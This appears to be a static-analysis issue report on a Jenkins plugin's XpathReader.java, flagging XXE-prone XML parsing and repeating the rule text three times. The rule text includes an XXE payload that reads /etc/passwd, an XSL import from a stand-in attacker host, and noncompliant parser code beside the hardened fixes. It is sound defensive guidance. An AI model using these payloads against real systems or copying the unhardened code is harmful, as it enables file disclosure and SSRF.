jenkinsci/hpe-application-automation-tools-plugin

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src/main/java/com/microfocus/application/automation/tools/commonResultUpload/xmlreader/XpathReader.java

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Disable access to external entities in XML parsing.
Open

        builder = factory.newDocumentBuilder();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Disable access to external entities in XML parsing.
Open

        builder = factory.newDocumentBuilder();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Disable access to external entities in XML parsing.
Open

        builder = factory.newDocumentBuilder();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

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